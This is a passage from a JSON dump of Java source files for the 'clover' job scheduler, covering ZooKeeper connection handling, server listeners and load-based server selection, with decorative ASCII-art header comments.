over max cpu ration (\"+CommonConstants.MAX_CPU_RATIO+\") \");\r\n                map.put(CommonConstants.SUCCESS, false);\r\n                map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_102);\r\n                map.put(CommonConstants.MEM_RATIO, minMemRatioValue);\r\n                map.put(CommonConstants.CPU_RATIO, minCpuRatioValue);\r\n                return map;\r\n            } else {\r\n                map.put(CommonConstants.SUCCESS, true);\r\n                map.put(CommonConstants.CLIENT_JOB_INFO, items.get(minMemRatioIndex));\r\n                return map;\r\n            }\r\n        }\r\n        map.put(CommonConstants.SUCCESS, false);\r\n        map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_103);\r\n        return map;\r\n    }\r\n\r\n    public boolean containsKey(String id) {\r\n        return this.recordsById.containsKey(id);\r\n    }\r\n\r\n    public BasicDBList getRecordsByJobClass(String jobClass) {\r\n        return this.recordsByJobClass.get(jobClass);\r\n    }\r\n\r\n    public BasicDBList findRecordsByIP(String ip) {\r\n        BasicDBList basicDBList = new BasicDBList();\r\n        for (int i = 0; i < this.records.size(); i++) {\r\n            BasicDBObject oServer = (BasicDBObject) this.records.get(i);\r\n            if (oServer.getString(CommonConstants.IP).equalsIgnoreCase(ip)) {\r\n                basicDBList.add(oServer);\r\n            }\r\n        }\r\n        return basicDBList;\r\n    }\r\n\r\n    public synchronized void add(BasicDBObject record) {\r\n        String id = record.getString(CommonConstants.ID);\r\n        int index = findIndexById(id, this.records);\r\n        if (index == -1)\r\n            this.records.add(record);\r\n        else {\r\n            this.records.set(index, record);\r\n        }\r\n        this.recordsById.put(id, record);\r\n        if (!record.containsField(CommonConstants.JOB_CLASS)) {\r\n            return;\r\n        }\r\n        BasicDBList jobClassList = (BasicDBList) record.get(CommonConstants.JOB_CLASS);\r\n        for (int i = 0; (jobClassList != null) && (i < jobClassList.size()); i++) {\r\n            String tempJobClass = jobClassList.get(i).toString();\r\n            this.jobClassSet.add(tempJobClass);\r\n            BasicDBList items = this.recordsByJobClass.get(tempJobClass);\r\n            if (items == null) {\r\n                items = new BasicDBList();\r\n                this.recordsByJobClass.put(tempJobClass, items);\r\n            }\r\n            index = findIndexById(id, items);\r\n            if (index == -1)\r\n                items.add(record);\r\n            else {\r\n                items.set(index, record);\r\n            }\r\n        }\r\n    }\r\n\r\n    public synchronized boolean remove(String id) {\r\n        this.recordsById.remove(id);\r\n        int index = findIndexById(id, this.records);\r\n        boolean flag = index != -1;\r\n        if (flag) {\r\n            this.records.remove(index);\r\n        }\r\n        for (Iterator i = this.recordsByJobClass.entrySet().iterator(); i.hasNext();) {\r\n            Map.Entry entry = (Map.Entry) i.next();\r\n            BasicDBList items = (BasicDBList) entry.getValue();\r\n            index = findIndexById(id, items);\r\n            if (index != -1) {\r\n                items.remove(index);\r\n            }\r\n            if (items.size() == 0) {\r\n                this.jobClassSet.remove(entry.getKey());\r\n            }\r\n        }\r\n        return flag;\r\n    }\r\n\r\n    public void clear() {\r\n        this.recordsById.clear();\r\n        this.recordsByJobClass.clear();\r\n        this.records.clear();\r\n        this.jobClassSet.clear();\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/CommonNodes.java",
    "content": "package com.gome.clover.common.zk;\r\n\r\nimport com.mongodb.BasicDBList;\r\nimport com.mongodb.BasicDBObject;\r\n\r\nimport java.util.concurrent.atomic.AtomicLong;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/19\r\n * Time: 17:26\r\n */\r\npublic class CommonNodes {\r\n    public static String allocateNo() {\r\n        AtomicLong count = new AtomicLong(0L);\r\n        if (count.get() == 9223372036854775807L) {\r\n            count.set(0L);\r\n        }\r\n        return String.valueOf(count.addAndGet(1L));\r\n    }\r\n\r\n    public static int findIndexById(String id, BasicDBList items) {\r\n        int result = -1;\r\n        if(null != items){\r\n            for (int i = 0; i < items.size(); i++) {\r\n                BasicDBObject oItem = (BasicDBObject) items.get(i);\r\n                if (oItem.getString(\"id\").equalsIgnoreCase(id)) {\r\n                    result = i;\r\n                }\r\n            }\r\n        }\r\n        return result;\r\n    }\r\n\r\n    public static  int findIndexByIp(String ip, BasicDBList items) {\r\n        int result = -1;\r\n        for (int i = 0; i < items.size(); i++) {\r\n            BasicDBObject oItem = (BasicDBObject) items.get(i);\r\n            if (oItem.getString(\"ip\").equalsIgnoreCase(ip)) {\r\n                result = i;\r\n            }\r\n        }\r\n        return result;\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/ServerDict.java",
    "content": "package com.gome.clover.common.zk;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.apache.curator.framework.CuratorFramework;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.Map;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Server Dict\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 16:00\r\n */\r\n\r\npublic class ServerDict {\r\n    public static ServerDict self = null;\r\n    protected static Logger logger = LoggerFactory.getLogger(ServerDict.class);\r\n    protected ZKConnect zkConnect = null;\r\n    public ServerListener serverListener = null;\r\n\r\n    static {\r\n        self = new ServerDict();\r\n    }\r\n\r\n    public ServerDict() {\r\n        init();\r\n    }\r\n\r\n    public boolean init() {\r\n        logger.info(\"ServerDict init zookeeper...\");\r\n        this.zkConnect = new ZKConnect();\r\n        if ((this.zkConnect == null) || (!this.zkConnect.start())) {\r\n            return false;\r\n        }\r\n        this.serverListener = new ServerListener(CommonConstants.ZK_ROOT_PATH + \"/server\", this.zkConnect);\r\n        this.zkConnect.addServerListener(this.serverListener);\r\n        this.serverListener.reload();\r\n        return true;\r\n    }\r\n\r\n    public CuratorFramework getZK() {\r\n        return this.zkConnect.instance;\r\n    }\r\n\r\n    public BasicDBObject hashServer(String hashKey) {\r\n        return this.serverListener.serverNodes.hashServer(hashKey);\r\n    }\r\n\r\n    /**\r\n     * hashServer升级版本(4S==For Super)\r\n     * @param hashKey\r\n     * @return\r\n     */\r\n    public Map hashServer4S(String hashKey) {\r\n        return this.serverListener.serverNodes.hashServer4S(hashKey);\r\n    }\r\n\r\n    public BasicDBObject hashServerByFixedServerIps(String[] fixedServerIps){\r\n        return this.serverListener.serverNodes.hashServerByFixedServerIps(fixedServerIps);\r\n    }\r\n\r\n    /**\r\n     * hashServerByFixedServerIps升级版本(4S==For Super)\r\n     * @param fixedServerIps\r\n     * @return\r\n     */\r\n    public Map hashServer4SByFixedServerIps(String[] fixedServerIps){\r\n        return this.serverListener.serverNodes.hashServer4SByFixedServerIps(fixedServerIps);\r\n    }\r\n    public BasicDBObject hashServerBySystemCapacity() {\r\n        return this.serverListener.serverNodes.hashServerBySystemCapacity();\r\n    }\r\n\r\n    /**\r\n     * hashClientBySystemCapacity升级版本(4S==For Super)\r\n     * @return\r\n     */\r\n    public Map hashServer4SBySystemCapacity() {\r\n        return this.serverListener.serverNodes.hashServer4SBySystemCapacity();\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/ServerListener.java",
    "content": "package com.gome.clover.common.zk;\r\n\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.util.JSON;\r\nimport org.apache.zookeeper.WatchedEvent;\r\nimport org.apache.zookeeper.Watcher;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.List;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 16:08\r\n */\r\n\r\npublic class ServerListener implements Watcher  {\r\n    protected static Logger logger = LoggerFactory.getLogger(ServerListener.class);\r\n    protected String prefixPath = \"\";\r\n    protected ServerNodes serverNodes = new ServerNodes();\r\n    protected ZKConnect zkConnect = null;\r\n    protected Integer LOCK = Integer.valueOf(0);\r\n\r\n    public ServerListener(String prefixPath, ZKConnect zkConnect) {\r\n        this.prefixPath = prefixPath;\r\n        this.zkConnect = zkConnect;\r\n    }\r\n\r\n    public void removeRecord(String id) {\r\n        this.serverNodes.remove(id);\r\n    }\r\n\r\n\r\n    public BasicDBObject addRecord(String id) {\r\n        if (!this.zkConnect.checkAlive())\r\n            return null;\r\n        try {\r\n            String c = this.zkConnect.getData(this.prefixPath + \"/\" + id);\r\n            if (c == null) {\r\n                return null;\r\n            }\r\n            BasicDBObject record = (BasicDBObject) JSON.parse(c);\r\n            this.serverNodes.add(record);\r\n            return record;\r\n        } catch (Exception e) {\r\n            logger.error(\"ServerNodeListener-->>addRecord(\" + id + \") error \", e);\r\n            return null;\r\n        }\r\n    }\r\n\r\n    public void reload() {\r\n        if (!this.zkConnect.checkAlive()) {\r\n            return;\r\n        }\r\n        if (!this.zkConnect.exists(this.prefixPath))\r\n            return;\r\n        try {\r\n            String timeStamp = DateUtil.currentDateTime();\r\n            List items = this.zkConnect.getChildrens(this.prefixPath);\r\n            for (int i = 0; (items != null) && (i < items.size()); i++) {\r\n                String id = (String) items.get(i);\r\n                String c = this.zkConnect.getData(this.prefixPath + \"/\" + id);\r\n                if (c == null) {\r\n                    continue;\r\n                }\r\n                BasicDBObject record = (BasicDBObject) JSON.parse(c);\r\n                record.put(\"timeStamp\", timeStamp);\r\n                this.serverNodes.add(record);\r\n            }\r\n            int index = 0;\r\n            while (index < this.serverNodes.records.size()) {\r\n                BasicDBObject record = (BasicDBObject) this.serverNodes.records.get(index);\r\n                if (record.getString(\"timeStamp\").equalsIgnoreCase(timeStamp)) {\r\n                    index++;\r\n                } else if (!this.serverNodes.remove(record.getString(\"id\"))) {\r\n                    index++;\r\n                }\r\n            }\r\n        } catch (Exception e) {\r\n            logger.error(\"ServerListener-->>reload() error \", e);\r\n        }\r\n    }\r\n\r\n    public void process(WatchedEvent event) {\r\n        if (event == null) {\r\n            return;\r\n        }\r\n        String path = event.getPath();\r\n        if ((path == null) || (!path.startsWith(this.prefixPath))) {\r\n            return;\r\n        }\r\n        synchronized (this.LOCK) {\r\n            try {\r\n                String[] values = StringUtil.split(path, '/');\r\n                String id = values.length >= 2 ? values[1] : \"\";\r\n                if (event.getType() == Watcher.Event.EventType.NodeCreated) {\r\n                    addRecord(id);\r\n                } else if (event.getType() == Watcher.Event.EventType.NodeDeleted) {\r\n                    removeRecord(id);\r\n                } else if (event.getType() == Watcher.Event.EventType.NodeDataChanged) {\r\n                    addRecord(id);\r\n                } else if (event.getType() == Watcher.Event.EventType.NodeChildrenChanged) {\r\n                    reload();\r\n                }\r\n            } catch (Exception e) {\r\n                logger.error(\"ServerListener-->>process(\" + com.alibaba.fastjson.JSON.toJSONString(event) + \") error.\", e);\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/ServerNodes.java",
    "content": "package com.gome.clover.common.zk;\r\n\r\nimport com.gome.clover.common.hash.HashTimes;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.mongodb.BasicDBList;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.HashMap;\r\nimport java.util.Map;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Server Nodes\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 16:09\r\n */\r\n\r\npublic class ServerNodes extends CommonNodes {\r\n    protected static Logger logger = LoggerFactory.getLogger(ServerNodes.class);\r\n    protected BasicDBList records = new BasicDBList();\r\n\r\n    public BasicDBObject hashServer(String hashKey) {\r\n        if ((records == null) || (records.size() == 0)) {\r\n            return null;\r\n        }\r\n        if (StringUtil.isEmpty(hashKey)) {\r\n            hashKey = allocateNo();\r\n        }\r\n        int index = HashTimes.use33(hashKey) % records.size();\r\n        return (BasicDBObject) records.get(index);\r\n    }\r\n\r\n    /**\r\n     * hashServer升级版本(4S==For Super)\r\n     *\r\n     * @param hashKey\r\n     * @return\r\n     */\r\n    public Map hashServer4S(String hashKey) {\r\n        Map map = new HashMap();\r\n        if ((records == null) || (records.size() == 0)) {\r\n            map.put(CommonConstants.SUCCESS, false);\r\n            map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_101);\r\n            return map;\r\n        }\r\n        if (StringUtil.isEmpty(hashKey)) {\r\n            hashKey = allocateNo();\r\n        }\r\n        int index = HashTimes.use33(hashKey) % records.size();\r\n\r\n        map.put(CommonConstants.SUCCESS, true);\r\n        map.put(CommonConstants.SERVER_JOB_INFO, records.get(index));\r\n        return map;\r\n    }\r\n\r\n    public BasicDBObject hashServerByFixedServerIps(String[] fixedServerIps) {\r\n        if ((records == null) || (records.size() == 0)) {\r\n            return null;\r\n        }\r\n        int index = -1;\r\n        for (String fixedServerIp : fixedServerIps) {\r\n            index = findIndexByIp(fixedServerIp, records);\r\n            if (index == -1) continue;\r\n        }\r\n        if (index == -1) {\r\n            return null;\r\n        }\r\n        return (BasicDBObject) records.get(index);\r\n    }\r\n\r\n    /**\r\n     * hashServerByFixedServerIps升级版本(4S==For Super)\r\n     *\r\n     * @param fixedServerIps\r\n     * @return\r\n     */\r\n    public Map hashServer4SByFixedServerIps(String[] fixedServerIps) {\r\n        Map map = new HashMap();\r\n        if ((records == null) || (records.size() == 0)) {\r\n            map.put(CommonConstants.SUCCESS, false);\r\n            map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_101);\r\n            return map;\r\n        }\r\n        int index = -1;\r\n        for (String fixedServerIp : fixedServerIps) {\r\n            index = findIndexByIp(fixedServerIp, records);\r\n            if (index == -1) continue;\r\n        }\r\n        if (index == -1) {\r\n            map.put(CommonConstants.SUCCESS, false);\r\n            map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_101);\r\n            return map;\r\n        }\r\n        map.put(CommonConstants.SUCCESS, true);\r\n        map.put(CommonConstants.SERVER_JOB_INFO, records.get(index));\r\n        return map;\r\n    }\r\n\r\n    public BasicDBObject hashServerBySystemCapacity() {\r\n        int itemLen;\r\n        if ((records == null) || ((itemLen = records.size()) == 0)) {\r\n            return null;\r\n        } else if (1 == itemLen) {\r\n            BasicDBObject item = (BasicDBObject) records.get(0);\r\n            double memRatio = Double.valueOf(String.valueOf(item.get(CommonConstants.MEM_RATIO)));\r\n            if (memRatio > CommonConstants.MAX_MEM_RATIO) {\r\n                logger.error(\"ServerNodes-->>hashServerBySystemCapacity() the memRatio(\" + memRatio + \") over max mem ratio(\" + CommonConstants.MAX_MEM_RATIO + \") \");\r\n                return null;\r\n            } else {\r\n                return item;\r\n            }\r\n        } else if (itemLen > 1) {\r\n            BasicDBObject tempItem = (BasicDBObject) records.get(0);\r\n            int minMemRatioIndex = 0;\r\n            double minMemRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.MEM_RATIO)));\r\n            double minCpuRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.CPU_RATIO)));\r\n            int minTotalThreadValue = Integer.valueOf(String.valueOf(tempItem.get(CommonConstants.TOTAL_THREAD)));\r\n            double minTotalValue = minMemRatioValue + minCpuRatioValue + minTotalThreadValue;\r\n            for (int i = 1; i < itemLen; i++) {\r\n                tempItem = (BasicDBObject) records.get(i);\r\n                double tempMemRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.MEM_RATIO)));\r\n                double tempCpuRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.CPU_RATIO)));\r\n                int tempTotalThreadValue = Integer.valueOf(String.valueOf(tempItem.get(CommonConstants.TOTAL_THREAD)));\r\n                double tempTotalValue = tempMemRatioValue + tempCpuRatioValue + tempTotalThreadValue;\r\n                if (tempTotalValue < minTotalValue) {\r\n                    minMemRatioValue = tempMemRatioValue;\r\n                    minCpuRatioValue = tempCpuRatioValue;\r\n                    minTotalThreadValue = tempTotalThreadValue;\r\n                    minTotalValue = minMemRatioValue + minCpuRatioValue + minTotalThreadValue;\r\n                    minMemRatioIndex = i;\r\n                }\r\n            }\r\n            if (minMemRatioValue > CommonConstants.MAX_MEM_RATIO || minCpuRatioValue > CommonConstants.MAX_CPU_RATIO) {\r\n                logger.error(\"ServerNodes-->>hashServerBySystemCapacity() the memRatio(\" + minMemRatioValue +\r\n                        \") over max mem ratio(\" + CommonConstants.MAX_MEM_RATIO + \") \" +\r\n                        \"or the cpuRatio(\" + minCpuRatioValue + \") over max cpu ration (\" + CommonConstants.MAX_CPU_RATIO + \") \");\r\n                return null;\r\n            } else {\r\n                return (BasicDBObject) records.get(minMemRatioIndex);\r\n            }\r\n        }\r\n        return null;\r\n    }\r\n\r\n    /**\r\n     * hashServerBySystemCapacity升级版本(4S==For Super)\r\n     *\r\n     * @return\r\n     */\r\n    public Map hashServer4SBySystemCapacity() {\r\n        Map map = new HashMap();\r\n        int itemLen;\r\n        if ((records == null) || ((itemLen = records.size()) == 0)) {\r\n            map.put(CommonConstants.SUCCESS, false);\r\n            map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_101);\r\n            return map;\r\n        } else if (1 == itemLen) {\r\n            BasicDBObject item = (BasicDBObject) records.get(0);\r\n            double memRatio = Double.valueOf(String.valueOf(item.get(CommonConstants.MEM_RATIO)));\r\n            double cpuRatio = Double.valueOf(String.valueOf(item.get(CommonConstants.CPU_RATIO)));\r\n            if (memRatio > CommonConstants.MAX_MEM_RATIO || cpuRatio > CommonConstants.MAX_CPU_RATIO) {\r\n                logger.error(\"ClientNodes-->>hashServer4SBySystemCapacity() the memRatio(\" + memRatio + \")\" +\r\n                        \" over max mem ratio(\" + CommonConstants.MAX_MEM_RATIO + \") or the cpuRatio(\" + cpuRatio + \")\" +\r\n                        \" over max cpu ratio(\" + CommonConstants.MAX_CPU_RATIO + \") \");\r\n                map.put(CommonConstants.SUCCESS, false);\r\n                map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_102);\r\n                map.put(CommonConstants.MEM_RATIO, memRatio);\r\n                map.put(CommonConstants.CPU_RATIO, cpuRatio);\r\n                return map;\r\n            } else {\r\n                map.put(CommonConstants.SUCCESS, true);\r\n                map.put(CommonConstants.SERVER_JOB_INFO, item);\r\n                return map;\r\n            }\r\n        } else if (itemLen > 1) {\r\n            BasicDBObject tempItem = (BasicDBObject) records.get(0);\r\n            int minMemRatioIndex = 0;\r\n            double minMemRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.MEM_RATIO)));\r\n            double minCpuRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.CPU_RATIO)));\r\n            int minTotalThreadValue = Integer.valueOf(String.valueOf(tempItem.get(CommonConstants.TOTAL_THREAD)));\r\n            double minTotalValue = minMemRatioValue + minCpuRatioValue + minTotalThreadValue;\r\n            for (int i = 1; i < itemLen; i++) {\r\n                tempItem = (BasicDBObject) records.get(i);\r\n                double tempMemRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.MEM_RATIO)));\r\n                double tempCpuRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.CPU_RATIO)));\r\n                int tempTotalThreadValue = Integer.valueOf(String.valueOf(tempItem.get(CommonConstants.TOTAL_THREAD)));\r\n                double tempTotalValue = tempMemRatioValue + tempCpuRatioValue + tempTotalThreadValue;\r\n                if (tempTotalValue < minTotalValue) {\r\n                    minMemRatioValue = tempMemRatioValue;\r\n                    minCpuRatioValue = tempCpuRatioValue;\r\n                    minTotalThreadValue = tempTotalThreadValue;\r\n                    minTotalValue = minMemRatioValue + minCpuRatioValue + minTotalThreadValue;\r\n                    minMemRatioIndex = i;\r\n                }\r\n            }\r\n            if (minMemRatioValue > CommonConstants.MAX_MEM_RATIO || minCpuRatioValue > CommonConstants.MAX_CPU_RATIO) {\r\n                logger.error(\"ClientNodes-->>hashServer4SBySystemCapacity() \" +\r\n                        \"the memRatio(\" + minMemRatioValue + \") over max mem ratio(\" + CommonConstants.MAX_MEM_RATIO + \")\" +\r\n                        \"or the cpuRatio(\" + minCpuRatioValue + \") over max cpu ration (\" + CommonConstants.MAX_CPU_RATIO + \") \");\r\n                map.put(CommonConstants.SUCCESS, false);\r\n                map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_102);\r\n                map.put(CommonConstants.MEM_RATIO, minMemRatioValue);\r\n                map.put(CommonConstants.CPU_RATIO, minCpuRatioValue);\r\n                return map;\r\n            } else {\r\n                map.put(CommonConstants.SUCCESS, true);\r\n                map.put(CommonConstants.SERVER_JOB_INFO, records.get(minMemRatioIndex));\r\n                return map;\r\n            }\r\n        }\r\n        map.put(CommonConstants.SUCCESS, false);\r\n        map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_103);\r\n        return map;\r\n    }\r\n\r\n    public synchronized void add(BasicDBObject record) {\r\n        String id = record.getString(CommonConstants.ID);\r\n        int index = findIndexById(id, this.records);\r\n        if (index == -1)\r\n            this.records.add(record);\r\n        else {\r\n            this.records.set(index, record);\r\n        }\r\n    }\r\n\r\n    public synchronized boolean remove(String id) {\r\n        try {\r\n            int index = findIndexById(id, this.records);\r\n            return null != this.records.remove(index);\r\n        }catch (Exception e){\r\n            return  false;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/ZKConnect.java",
    "content": "package com.gome.clover.common.zk;\r\n\r\nimport org.apache.curator.framework.CuratorFramework;\r\nimport org.apache.curator.framework.api.CuratorEvent;\r\nimport org.apache.curator.framework.api.CuratorListener;\r\nimport org.apache.curator.framework.api.CuratorWatcher;\r\nimport org.apache.curator.framework.state.ConnectionState;\r\nimport org.apache.curator.framework.state.ConnectionStateListener;\r\nimport org.apache.zookeeper.WatchedEvent;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:ZK Connect\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 16:07\r\n */\r\n\r\npublic class ZKConnect implements CuratorWatcher, CuratorListener, ConnectionStateListener {\r\n    public CuratorFramework instance = null;\r\n    public ArrayList listeners = new ArrayList();\r\n    protected static Logger logger = LoggerFactory.getLogger(ZKConnect.class);\r\n\r\n    public ZKConnect() {\r\n        this.instance = ZKUtil.create();\r\n    }\r\n\r\n    public boolean start() {\r\n        try {\r\n            this.instance.getConnectionStateListenable().addListener(this);\r\n            this.instance.getCuratorListenable().addListener(this);\r\n            this.instance.start();\r\n            this.instance.getZookeeperClient().blockUntilConnectedOrTimedOut();\r\n            return true;\r\n        } catch (Exception e) {\r\n            logger.error(\"ZKConnect->> start() error \", e);\r\n        }\r\n        return false;\r\n    }\r\n\r\n    public void addServerListener(ServerListener serverListener) {\r\n        this.listeners.add(serverListener);\r\n    }\r\n\r\n    public void addClientListener(ClientListener clientListener) {\r\n        this.listeners.add(clientListener);\r\n    }\r\n\r\n    public void removeServerListener(ServerListener serverListener) {\r\n        this.listeners.remove(serverListener);\r\n    }\r\n\r\n    public void removeClientListener(ClientListener clientListener) {\r\n        this.listeners.remove(clientListener);\r\n    }\r\n\r\n    public boolean checkAlive() {\r\n        return this.instance.getZookeeperClient().isConnected();\r\n    }\r\n\r\n    public String getData(String path) throws Exception {\r\n        return ZKUtil.getData(this.instance, path, this);\r\n    }\r\n\r\n    public boolean exists(String path) {\r\n        return ZKUtil.exists(this.instance, path, this);\r\n    }\r\n\r\n    public List<String> getChildrens(String path) throws Exception {\r\n        if (!ZKUtil.exists(this.instance, path, this)) {\r\n            return null;\r\n        }\r\n        return ZKUtil.getChilds(this.instance, path, this);\r\n    }\r\n\r\n    public void stateChanged(CuratorFramework client, ConnectionState newState) {\r\n        if (newState == ConnectionState.RECONNECTED) {\r\n            logger.info(\"Zookeeper Reconnect [{}]\", new String[]{client.toString()});\r\n        } else if ((newState == ConnectionState.LOST) || (newState == ConnectionState.SUSPENDED)) {\r\n            logger.info(\"Zookeeper Lost connection\");\r\n        }\r\n    }\r\n\r\n    private void fireEvents(WatchedEvent e) {\r\n        for (int i = 0; i < this.listeners.size(); i++) {\r\n            if (this.listeners.get(i) instanceof ServerListener) {\r\n                ServerListener w = (ServerListener) this.listeners.get(i);\r\n                w.process(e);\r\n            } else if (this.listeners.get(i) instanceof ClientListener) {\r\n                ClientListener w = (ClientListener) this.listeners.get(i);\r\n                w.process(e);\r\n            }\r\n        }\r\n    }\r\n\r\n    public void eventReceived(CuratorFramework client, CuratorEvent event) throws Exception {\r\n        if ((event == null) || (event.getPath() == null)) {\r\n            return;\r\n        }\r\n        fireEvents(event.getWatchedEvent());\r\n    }\r\n\r\n    public void process(WatchedEvent event) {\r\n        if ((event == null) || (event.getPath() == null)) {\r\n            return;\r\n        }\r\n        fireEvents(event);\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/ZKManager.java",
